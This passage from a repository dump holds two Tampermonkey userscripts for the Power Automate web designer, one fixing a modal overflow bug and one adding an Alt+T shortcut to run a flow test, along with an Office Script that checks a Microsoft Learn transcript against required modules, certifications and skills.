7 | \\\\\ 8 | -------------------------------------------------------------------------------- /TamperMonkey Scripts/Power Automate Bug Fix..user.js: -------------------------------------------------------------------------------- 1 | // ==UserScript== 2 | // @name Power Automate Bug Fix 3 | // @namespace http://powerdevbox.com 4 | // @version 2025-01-16 5 | // @description Fix Classic UI Beta Mode Bug 6 | // @author David Wyatt 7 | // @match https://make.powerautomate.com/* 8 | // @icon https://www.google.com/s2/favicons?sz=64&domain=azure.com 9 | // @grant none 10 | // ==/UserScript== 11 | 12 | (function() { 13 | 'use strict'; 14 | console.log("Crrated by David Wyatt"); 15 | const observer = new MutationObserver((mutationsList) => { 16 | for (const mutation of mutationsList) { 17 | const eSwitch=document.getElementById("switchDesigner"); 18 | const bNew=eSwitch.getAttribute('aria-checked') === 'true'; 19 | console.log(bNew); 20 | if (mutation.type === 'childList' && !bNew) { 21 | mutation.addedNodes.forEach((node) => { 22 | if (node.nodeType === Node.ELEMENT_NODE) { 23 | try{ 24 | const eBug=document.evaluate('//*[contains(@id,"ModalFocusTrapZone")]/div[2]',document,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null).singleNodeValue 25 | if(eBug){ 26 | eBug.style="overflow: visible"; 27 | } 28 | }catch(err){ 29 | } 30 | } 31 | }); 32 | } 33 | } 34 | }); 35 | const config = { childList: true, subtree: true }; 36 | 37 | observer.observe(document.body, config); 38 | })(); -------------------------------------------------------------------------------- /TamperMonkey Scripts/Trigger Power Automate Test.user.js: -------------------------------------------------------------------------------- 1 | // ==UserScript== 2 | // @name Trigger Power Automate Test 3 | // @namespace http://tampermonkey.net/ 4 | // @version 0.1 5 | // @description Triggers Test on ALT+t (most recent run) 6 | // @author David Wyatt 7 | // @match https://*make.powerautomate.com/* 8 | // @icon https://img.icons8.com/office/256/microsoft-power-automate-2020.png 9 | // @grant none 10 | // ==/UserScript== 11 | 12 | (function() { 13 | 'use strict'; 14 | let keys = { 15 | a: false, 16 | t: false 17 | }; 18 | let i=0; 19 | let iWait=10000000; 20 | window.addEventListener("keydown", (event) => { 21 | if (event.key === "Alt") { 22 | keys.a = true; 23 | } 24 | if (event.key === "t") { 25 | keys.t = true; 26 | } 27 | if (event.altKey && event.key === "t") { 28 | let bAuto=true; 29 | let bRecent=true; 30 | let bFirst=true; 31 | keys.t = false; 32 | keys.a = false; 33 | const elmTest=document.querySelector('[data-automation-id="testFlow"]'); 34 | elmTest.click(); 35 | 36 | let timer=setInterval(() => { 37 | 38 | let elmAuto=document.querySelector('[aria-label="Test Flow, Automatically"]');//console.log(elmAuto);//elmAuto.click(); 39 | if (elmAuto && bAuto){ 40 | elmAuto.click(); 41 | bAuto=false; 42 | } 43 | let elmRecent=document.querySelector('[aria-label="With a recently used trigger."]');//elmRecent.click(); 44 | if(!elmRecent && bRecent){ 45 | elmAuto.click() 46 | }; 47 | if(elmRecent && bRecent){ 48 | elmRecent.click(); 49 | bRecent=false; 50 | } 51 | let elmContainerAll=document.querySelectorAll('[class="ba-Panel-content"] [role="radiogroup"]'); 52 | if (elmContainerAll && iWait==10000000){ 53 | iWait=i+20; 54 | }; 55 | let elmContainer=elmContainerAll[2]; 56 | if (elmContainer && bFirst && !bAuto && !bRecent){ 57 | let elmFirst=elmContainer.querySelectorAll('[type="radio"]')[0]; 58 | if (!elmFirst.checked || i>iWait){ 59 | elmFirst.click(); 60 | bFirst=false; 61 | } 62 | } 63 | let elmPannel=document.querySelector('[class^="ms-Panel-footer"]'); 64 | if(elmPannel){ 65 | let elmTestButton=elmPannel.querySelector('[aria-label="Test"]'); 66 | let elmSaveTestButton=elmPannel.querySelector('[aria-label="Save & Test"]'); 67 | if(elmTestButton && !bAuto && !bRecent && !bFirst){ 68 | elmTestButton.click(); 69 | clearInterval(timer); 70 | } 71 | if(elmSaveTestButton && !bAuto && !bRecent && !bFirst){ 72 | elmSaveTestButton.click(); 73 | clearInterval(timer); 74 | } 75 | } 76 | i++; 77 | 78 | if(i==100){clearInterval(timer);} 79 | }, 100); 80 | } 81 | }) 82 | })(); -------------------------------------------------------------------------------- /ms learn/MSLearnChecker_1_0_0_1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wyattdave/Power-Platform/4c194c6b6ce718be936e189f3b431416a8c43e2c/ms learn/MSLearnChecker_1_0_0_1.zip -------------------------------------------------------------------------------- /ms learn/Power Platform Training (4).osts: -------------------------------------------------------------------------------- 1 | {"version":"0.2.0","body":"\nfunction main(\n workbook: ExcelScript.Workbook,\n aModules: intModules[],\n aCerts: intCertificates[],\n aRequiredModules: intCollection[],\n aRequiredCerts: intRequired[],\n aRequiredSkills: intRequired[],\n aSkills: intAppliedSkills[]\n ) {\n\n let oReturn: intReturn;\n\n try {\n //create arrays\n let aRequired: intCollData[] = [];\n let aMissing: intCollData[] = [];\n\n //loop over all sections in collection\n aRequiredModules.forEach(section => {\n //loop over all modules in section\n section.items.forEach(item => {\n //to to required seperate arry to make debugging easier\n aRequired.push(item.data\n )\n })\n })\n\n //loop over required array\n aRequired.forEach(item => {\n //if cant find requred module in transcript add to missign array\n if (!aModules.find(m => (m.uid == item.uid))){\n aMissing.push(item);\n } \n })\n\n //loop over rerquired certificates, if cant find in transcript add to missing array\n aRequiredCerts.forEach(item =>{\n if (!aCerts.find(c => (c.name == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n } \n })\n\n//loop over rerquired applied skills, if cant find in transcript add to missing array\n aRequiredSkills.forEach(item => {\n if (!aSkills.find(skill => (skill.title == item.title))) {\n aMissing.push({\n rawUrl: \"\",\n uid: \"\",\n title: item.title,\n name: \"\"\n });\n }\n })\n \n //return object\n oReturn = {\n outcome: aMissing.length == 0,\n message: \"\",\n data: aMissing\n\n }\n return oReturn\n\n } catch (err) {\n let sError = JSON.stringify(err)\n \n oReturn = {\n outcome: false,\n message: JSON.stringify(err),\n data: []\n\n }\n }finally{\n return oReturn\n }\n\n}\n\ninterface intReturn {\n outcome: boolean,\n message: string,\n data: intCollData[]\n}\n\ninterface intCollection {\n id: string,\n listId: string,\n name: string,\n userId: string,\n description: string,\n items: {\n id: string,\n listId: string,\n type: string,\n data: intCollData\n }[]\n}\n\ninterface intCollData {\n rawUrl: string,\n uid: string,\n title: string,\n name: string\n}\n\ninterface intModules {\n uid: string,\n title: string,\n description: string,\n durationInMinutes: number,\n completedOn: string\n}\n\ninterface intCertificates {\n name: string,\n certificationNumber: string,\n status: string,\n dateEarned: string,\n expiration: string\n}\n\ninterface intAppliedSkills {\n credentialId: string,\n title: string,\n awardedOn: string\n}\n\ninterface intRequired{\n title:string\n}\n","description":"","parameterInfo":"{\"version\":1,\"originalParameterOrder\":[{\"name\":\"aModules\",\"index\":0},{\"name\":\"aCerts\",\"index\":1},{\"name\":\"aRequiredModules\",\"index\":2},{\"name\":\"aRequiredCerts\",\"index\":3},{\"name\":\"aRequiredSkills\",\"index\":4},{\"name\":\"aSkills\",\"index\":5}],\"parameterSchema\":{\"type\":\"object\",\"required\":[\"aModules\",\"aCerts\",\"aRequiredModules\",\"aRequiredCerts\",\"aRequiredSkills\",\"aSkills\"],\"properties\":{\"aModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"durationInMinutes\":{\"type\":\"number\"},\"completedOn\":{\"type\":\"string\"}}}},\"aCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"name\":{\"type\":\"string\"},\"certificationNumber\":{\"type\":\"string\"},\"status\":{\"type\":\"string\"},\"dateEarned\":{\"type\":\"string\"},\"expiration\":{\"type\":\"string\"}}}},\"aRequiredModules\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"},\"userId\":{\"type\":\"string\"},\"description\":{\"type\":\"string\"},\"items\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"id\":{\"type\":\"string\"},\"listId\":{\"type\":\"string\"},\"type\":{\"type\":\"string\"},\"data\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}}},\"aRequiredCerts\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aRequiredSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"title\":{\"type\":\"string\"}}}},\"aSkills\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"credentialId\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"awardedOn\":{\"type\":\"string\"}}}}}},\"returnSchema\":{\"type\":\"object\",\"properties\":{\"result\":{\"type\":\"object\",\"properties\":{\"outcome\":{\"type\":\"boolean\"},\"message\":{\"type\":\"string\"},\"data\":{\"type\":\"array\",\"items\":{\"type\":\"object\",\"properties\":{\"rawUrl\":{\"type\":\"string\"},\"uid\":{\"type\":\"string\"},\"title\":{\"type\":\"string\"},\"name\":{\"type\":\"string\"}}}}}}}},\"signature\":{\"comment\":\"\",\"parameters\":[{\"name\":\"workbook\",\"comment\":\"\"},{\"name\":\"aModules\",\"comment\":\"\"},{\"name\":\"aCerts\",\"comment\":\"\"},{\"name\":\"aRequiredModules\",\"comment\":\"\"},{\"name\":\"aRequiredCerts\",\"comment\":\"\"},{\"name\":\"aRequiredSkills\",\"comment\":\"\"},{\"name\":\"aSkills\",\"comment\":\"\"}]}}","apiInfo":"{\"variant\":\"synchronous\",\"variantVersion\":2}"} --------------------------------------------------------------------------------